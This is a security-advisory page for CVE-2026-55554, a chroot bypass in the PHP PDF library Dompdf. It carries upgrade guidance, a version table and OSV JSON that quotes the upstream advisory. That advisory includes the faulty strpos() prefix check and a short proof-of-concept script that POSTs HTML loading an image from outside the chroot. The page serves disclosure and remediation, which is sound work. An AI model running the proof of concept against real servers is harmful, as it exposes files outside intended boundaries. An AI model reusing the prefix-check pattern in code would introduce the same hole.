CVE-2026-55554: Dompdf Chroot Validation Bypass Vulnerability
LOWCVE-2026-55554 is a LOW chroot validation bypass vulnerability (CWE-20: Improper Input Validation) affecting Dompdf libraries in the Packagist ecosystem. The issue involves chroot validation bypass. Remediation is available by upgrading affected packages to version 3.1.6.
CVE-2026-55554 at a Glance
How to Fix CVE-2026-55554
To remediate this vulnerability, upgrade all affected Dompdf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade dompdf/dompdf to 3.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for dompdf/dompdf
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-55554, inspect your project dependencies for Dompdf:
inspect dependencies for dompdf/dompdf
Analyze the terminal output to locate any version of Dompdf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Dompdf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55554 Affected Dompdf Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompdf/dompdf
|
Packagist |
< 3.1.6
|
3.1.6
|
References
Frequently Asked Questions
What is CVE-2026-55554?
Which Dompdf versions are affected?
What version fixes CVE-2026-55554?
Is dompdf/dompdf affected?
What CWE is associated with CVE-2026-55554?
How can I check Packagist dependencies for CVE-2026-55554?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wvh6-f5jh-8gw4",
"modified" : "2026-07-22T21:06:48Z",
"published" : "2026-07-22T21:06:48Z",
"aliases" : [ "CVE-2026-55554" ],
"summary" : "Dompdf: Chroot Validation Bypass",
"details" : "### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n public function validateLocalUri(string $uri)\n {\n ...\n $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n ...\n foreach ($dirs as $chrootPath) {\n $chrootPath = realpath($chrootPath);\n if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {\n $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n |--> web/\n |--> pdf.php\n |--> cat0.jpg\n |--> web-admin/\n |--> cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n<?php\nrequire 'vendor/autoload.php';\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options->setChroot(['/home/dompdf/web/']);\n$dompdf = new Dompdf($options);\n\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream();\n?>\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = <<<HTML\n<!DOCTYPE html>\n<html>\n <body>\n <p>within chroot</p>\n <img src=\"/home/dompdf/web/cat0.jpg\">\n <p>outside of chroot</p>\n <img src=\"/home/dompdf/web-admin/cat1.jpg\">\n </body>\n</html>\nHTML;\n\n$url = 'http://example.com/poc.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n 'http' => [\n 'header' => $headers,\n 'method' => 'POST',\n 'content' => http_build_query($data),\n 'ignore_errors' => true,\n ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "dompdf/dompdf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4"
}, {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dompdf/dompdf"
}, {
"type" : "WEB",
"url" : "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-22" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-22T21:06:48Z",
"nvd_published_at" : null
}
}